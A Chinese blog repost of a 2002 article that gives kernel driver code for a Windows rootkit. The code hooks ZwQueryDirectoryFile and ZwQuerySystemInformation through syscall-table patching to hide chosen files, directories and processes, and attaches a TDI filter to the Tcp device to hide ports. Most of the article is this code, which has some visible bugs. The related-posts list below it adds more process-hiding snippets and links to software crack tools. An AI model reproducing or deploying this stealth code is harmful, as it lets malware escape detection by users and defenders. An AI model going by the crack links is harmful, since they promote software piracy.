隐藏任意进程,目录/文件,注册表,端口

C++实现控制台应用程序隐藏后台运行 C++实现程序隐藏后台运行,效果如下: 方式一: #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) 方式二: 阅读详情
Author: sinister
Email: sinister@whitecell.org
Homepage:http://www.whitecell.org
Date: 2002-05-08

查找进程,目录/文件,注册表等 操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等 函数。要想拦截这些 函数达到隐藏目的,需先自己实现以上 函数,并修改系统维护的一个SYSCALL 表使之指向自己预先定义的 函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已有文章详细介绍过,这里不在详述。(可以参见 sysinternals.com 或 WebCrazy 所写的文章)。查找端口用的是 TDI 查询。TDI 导出了两个设备 //Device//Tcp 与 //Device//Udp。我们可以利用设备过滤驱动的方法写一个 DRIVE 把这两个设备的所有 IRP 包接管过来进行处理后再传给下层驱动。以达到隐藏任意端口的目的。上述提到的方法不是新东西,是在N年前就已经有的老技术。俺现在将它贴出来只不过为了充实下版面,灌灌水罢了。高手们还是别看了。下面是我 DRIVE 中隐藏任意进程,目录/文件,端口代码片段。
(注册表操作在 RegMon 中写的很详细,这里就不列出了)

typedef struct _FILETIME
{
  DWORD dwLowDateTime;
  DWORD dwHighDateTime;
}FILETIME;

typedef struct _DirEntry
{
  DWORD dwLenToNext;
  DWORD dwAttr;
  FILETIME ftCreate, ftLastAccess, ftLastWrite;
  DWORD dwUnknown[ 2 ];
  DWORD dwFileSizeLow;
  DWORD dwFileSizeHigh;
  DWORD dwUnknown2[ 3 ];
  WORD wNameLen;
  WORD wUnknown;
  DWORD dwUnknown3;
  WORD wShortNameLen;
  WCHAR swShortName[ 12 ];
  WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;

struct _SYSTEM_THREADS
{
  LARGE_INTEGER KernelTime;
  LARGE_INTEGER UserTime;
  LARGE_INTEGER CreateTime;
  ULONG WaitTime;
  PVOID StartAddress;
  CLIENT_ID ClientIs;
  KPRIORITY Priority;
  KPRIORITY BasePriority;
  ULONG ContextSwitchCount;
  ULONG ThreadState;
  KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
  ULONG NextEntryDelta;
  ULONG ThreadCount;
  ULONG Reserved[6];
  LARGE_INTEGER CreateTime;
  LARGE_INTEGER UserTime;
  LARGE_INTEGER KernelTime;
  UNICODE_STRING ProcessName;
  KPRIORITY BasePriority;
  ULONG ProcessId;
  ULONG InheritedFromProcessId;
  ULONG HandleCount;
  ULONG Reserved2[2];
  VM_COUNTERS VmCounters;
  IO_COUNTERS IoCounters;
  struct _SYSTEM_THREADS Threads[1];
};


// 隐藏目录/文件

NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
  NTSTATUS rc;
  CHAR aProcessName[80];
  ANSI_STRING ansiFileName,ansiDirName;
  UNICODE_STRING uniFileName;
  PP_DIR ptr;

  WCHAR ParentDirectory[1024] = {0};
  int BytesReturned;
  PVOID Object;


// 执行旧的ZwQueryDirectoryFile 函数
  rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,
     IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,
     FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);

  if(NT_SUCCESS(rc))
  {
    PDirEntry p;
    PDirEntry pLast;
    BOOL bLastOne;
    int found;
    p = (PDirEntry)FileInformationBuffer; // 将查找出来结果赋给结构
    pLast = NULL;
  
    do
    {
      bLastOne = !( p->dwLenToNext );
      RtlInitUnicodeString(&uniFileName,p->suName);
      RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
      RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
      RtlUpperString(&ansiFileName,&ansiDirName);
    
      found=0;

      // 在链表中查找是否包含当前目录
      for(ptr = list_head; ptr != NULL; ptr = ptr->next)
      {
        if (ptr->flag != PTR_HIDEDIR) continue;
        if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
        {
          found=1;
          break;
        }
      }//end for

      // 如果链表中包含当前目录,隐藏
      if(found)
      {
        if(bLastOne)
        {
          if(p == (PDirEntry)FileInformationBuffer )
          {
            rc = 0x80000006; //隐藏
          }
          else
            pLast->dwLenToNext = 0;
          break;
        }
        else
        {
          int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
          int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
          RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
          continue;
        }
      }
      pLast = p;
      p = (PDirEntry)((char *)p + p->dwLenToNext );
    }while( !bLastOne );
  RtlFreeAnsiString(&ansiDirName);
  RtlFreeAnsiString(&ansiFileName);
  }
  return(rc);
}


// 隐藏进程

NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
  NTSTATUS rc;

  ANSI_STRING process_name,process_uname,process_name1,process_name2;
  BOOL g_hide_proc = TRUE;
  CHAR aProcessName[80];
  PP_DIR ptr;
  int found;

  // 执行旧的ZwQuerySystemInformation 函数

  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
         SystemInformation,SystemInformationLength,ReturnLength );

  if(NT_SUCCESS(rc ))
  {
    if( g_hide_proc && (5 == SystemInformationClass))
    {
      // 将查找出来结果赋给结构
      struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
      struct _SYSTEM_PROCESSES *prev = NULL;

      // 遍历进程
      while(curr)
      {
        if((0 < process_name.Length) && (255 > process_name.Length))
        {
          found=0;
          // 遍历链表
          for(ptr=list_head;ptr!=NULL;ptr=ptr->next )
          {
            if(ptr->flag != PTR_HIDEPROC) continue ;
            if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
            {
              found =1;
            }
          }

          // 判断如果是隐藏进程名则覆盖掉此进程名
          while(found)
          {
            if(prev)
            {
              if(curr->NextEntryDelta)
              {
                prev->NextEntryDelta += curr->NextEntryDelta;
              }
              else
              {
                prev->NextEntryDelta = 0;
              }
            }
            else
            {
              if(curr->NextEntryDelta)
              {
                (char *)SystemInformation += curr->NextEntryDelta;
              }
              else
              {
                SystemInformation = NULL;
              }
            }
            if(curr->NextEntryDelta)
              ((char *)curr += curr->NextEntryDelta);
            else
            {
               curr = NULL;break;
            }
            // 遍历链表
            found = 0;
            for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
            {
              if (ptr->flag != PTR_HIDEPROC) continue ;
              if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
              {
                found = 1;
              }
            }
          }
        }
        if(curr != NULL)
        {
          prev = curr;
          if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
          else curr = NULL;
        }
      }
    }
  }
  return(rc);
}



//隐藏端口

PDEVICE_OBJECT m_TcpgetDevice;
PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;

Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
RtlInitUnicodeString( &TcpDeviceName, L"//Device//Tcp");

//得到已有的设备指针

status = IoGetDeviceObjectPointer( &TcpDeviceName,FILE_ALL_ ACCESS,&FileObject,&TcpDevice);

if(!NT_SUCCESS(status))
{
  DbgPrint("IoGetDeviceObjectPointer error!/n");
  return status;
}

DbgPrint("IoGetDeviceObjectPointer ok!/n");

// 建立设备
status = IoCreateDevice( DriverObject,sizeof(DEVICE_EXTENSION),NULL,
         FILE_DEVICE_UNKNOWN,0,FALSE,&FilterDevice);
if(!NT_SUCCESS(status))
{
  return status;
}

// 加入设备

TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);

if(!TcpgetDevice)
{
  IoDeleteDevice(FilterDevice);
  DbgPrint("IoAttachDeviceToDeviceStack error!/n");
  return STATUS_SUCCESS;
}

m_TcpgetDevice = TcpgetDevice;

// 加到过滤 函数中处理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
  if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
  {
    DriverObject->MajorFunction[i] = PassThrough;
  }
}

ObDereferenceObject(FileObject);

NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
  NTSTATUS status;
  PIO_STACK_LOCATION pIrpStack;
  pIrpStack = IoGetCurrentIrpStackLocation( Irp );

//如是查询则完成 IRP
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
{
  //这里可以近一步判断某个端口
  Irp->IoStatus.Status=STATUS_SUCCESS;
  IoCompleteRequest(Irp,IO_NO_INCREMENT);
  return STATUS_SUCCESS;
}

//复制当前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,GenericCompletion,NULL,TRUE,TRUE,TRUE);

//传递
return IoCallDriver( m_TcpgetDevice, Irp);
}
C++实现进程隐藏 用VC++实现进程隐藏,在WINDOWS平台下的隐藏 立即下载

相关推荐

HideProcess完结篇.zip_c++ 进程隐藏_c++隐藏进程_隐藏进程_隐藏驱动_驱动隐藏进程

C++隐藏进程,C++语言编写驱动级隐藏

在2000和xp下,隐藏进程,vc6.0测试通过

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Hide Process#include#include#include#defin

yanzheng1的专栏 1401

别再被systemd-resolved坑了!银河麒麟V10下用Bind9搭建内网DNS的完整避坑指南

本文详细介绍了在银河麒麟V10和Ubuntu系统下部署Bind9 DNS服务器时,如何解决与systemd-resolved的端口冲突问题。提供了五种专业级解决方案,包括彻底禁用systemd-resolved、智能端口转发等,并特别针对银河麒麟V10的安全加固需求给出了配置建议和诊断工具,帮助用户高效搭建内网DNS服务。

weixin_30342209的博客 658

怎么隐藏你指定的进程

#include int main(int argc,char *argv[]) { char sTmp[50]={0}; long length=0; length=GetSystemDirectory(sTmp,50);//得到系统的路径 strcat(sTmp,"\\taskmgr.exe");//指定要隐藏的是任务管理器进程 STARTUPINFO si; //Specifi

chenqiangdage的专栏 2382

STM32平台下FreeModbus TCP协议栈集成指南

深入讲解在STM32平台如何移植和配置freemodbus协议栈,实现TCP通信功能。结合嵌入式开发细节,帮助开发者快速掌握freemodbus的应用与调试技巧。

weixin_36001279的博客 1144

基因的富集分析

通过RNA_seq差异表达分析等获得一组基因,想要进一步了解这些基因可能参与哪些生物学过程,具有哪些功能,一般就会用到基因的富集分析了。现在小麦基因注释信息已经可以获得,目前来看包括两套。一个是TGACv1,另一个就是IWGSC1.0。需要用到一个叫“clusterProfiler”的R包。下面用到的数据集来自TGACv1。1、安装source("https://bioconductor.org/b

xxxxx 1万+

隐藏任意进程,目录/文件,注册表,端口

隐藏任意进程,目录/文件,注册表,端口 Author: sinisterEmail: sinister@whitecell.orgHomepage:http://www.whitecell.org 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXVa

大浪淘沙的专栏 730

AU混响终极指南:从‘干声’到‘空间感’,用总音轨和发送技巧打造专业人声

本文详细介绍了如何在Adobe Audition(AU)中使用混响效果器,通过总音轨和发送技巧将‘干声’转化为具有专业‘空间感’的人声。从混响基础原理到总线架构设置,再到精细控制和自动化调整,全面解析了提升音频质量的实用技巧,适用于音乐制作、播客和内容创作。

weixin_30512089的博客 333

C++隐藏任意进程,目录/文件,注册表,端口

查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个SYSCALL 表使之指向自己预先定义的函数。因 SYSCALL 表在用户层不可见,所以要写 DRIVE 在 RING 0 下才可修改。关于如何修改已

jsjjchm281900的专栏 1620

【速通版!语义通信基础与前沿学习计划】

🧠语义通信基础与前沿学习计划

dally2的博客 1413

紫光同创FPGA中ADF网表文件的黑匣子封装与PDS环境实战指南

本文详细介绍了在紫光同创FPGA开发环境中使用ADF网表文件进行黑匣子封装的实战指南。通过PDS环境配置、加密ADF生成、黑匣子集成及验证调试等步骤,帮助开发者实现核心IP保护,同时保持设计性能。特别适用于需要模块级代码保护的企业级FPGA开发场景。

weixin_33725239的博客 342

利用驱动程序隐藏任意进程,目录/文件,注册表,端口

利用驱动程序隐藏任意进程,目录/文件,注册表,端口2006-07-26 12:27  作者:     来源:     发表时间:2006-05-19     -- 利用驱动程序隐藏任意进程,目录/文件,注册表,端口[转帖]查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXValueKey 等函数

lionzl的专栏 1278

学习STM32的ADC采集声音

为了采集声音信号,需要一个声音传感器(如麦克风),将声音信号转换为电压信号输入到 ADC 引脚。通过硬件准备、STM32CubeMX 配置和代码实现,我们可以实现将声音信号转换为数字信号,并进行后续处理。STM32 是一款广泛应用于嵌入式系统开发的微控制器平台,其拥有丰富的外设和强大的性能,非常适合进行 ADC(模拟数字转换)的声音采集。函数启动 ADC1 的连续转换模式,然后在一个无限循环中等待 ADC 转换完成,并读取采样结果。四、代码实现 在生成的代码中,会生成一些相关的库文件和示例代码。

m0_75244442的博客 2174

[转载]隐藏任意进程,目录/文件,注册表,端口

Author : sinister Email : sinister@whitecell.org HomePage: http://www.whitecell.org 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation,ZwXXXValueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上...

weixin_30621919的博客 77

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

隐藏任意进程,目录文件,注册表,端口

隐藏任意进程,目录文件,注册表,端口    隐藏任意进程,目录/文件,注册表,端口 查找进程,目录/文件,注册表等操作系统将最终调用 ZwQueryDirectoryFile,ZwQuerySystemInformation, ZwXXXvalueKey 等函数。要想拦截这些函数达到隐藏目的,需先自己实现以上函数,并修改系统维护的一个 SYSCALL 表使之指向自己预先

2195的专栏 932

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

隐藏任意进程,目录/文档,注册表,端口

来源: 作者: 发布时间:2007-05-24    

编程爱好者 627

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

进程的深度隐藏

/********************************************************* 查找进程操作系统最终调用native api ZwQuerySystemInformation, 因此拦截此函数可以达到隐藏进程的目的。 *********************************************************/ /...

diegu9287的博客 252

如何在Windows NT中隐藏自己[转]

导读:   =============================[ 在NT“盒子”里消失 ]=============================   如何在Windows NT中隐藏自己   --------------------------      作者:Holy_Father   版本:1.2 英语   日期:05.08.2003      翻译:pker / CVC

yingfox的专栏 1005

文件隐藏

/********************************************************* 查找目录/文件操作系统最终调用native api ZwQueryDirectoryFile, 因此拦截此函数可以达到隐藏文件/目录的目的。 *********************************************************/ /*...

diegu9287的博客 141

Windows下MySQL卸载不干净?5个隐藏文件夹和注册表项你删了吗?

本文提供了一份详尽的Windows系统下MySQL彻底卸载教程。针对常规卸载后残留导致重装失败的问题,指南深入揭示了必须手动清理的5个关键残留点,包括隐藏的数据文件夹和注册表项,并给出了每一步的安全操作步骤与验证方法,确保系统环境纯净,为成功重装扫清障碍。

emacs5lisp的博客 183
上一篇: New book - Rootkits: Subverting the Windows Kernel
下一篇: 一段进程隐藏的代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值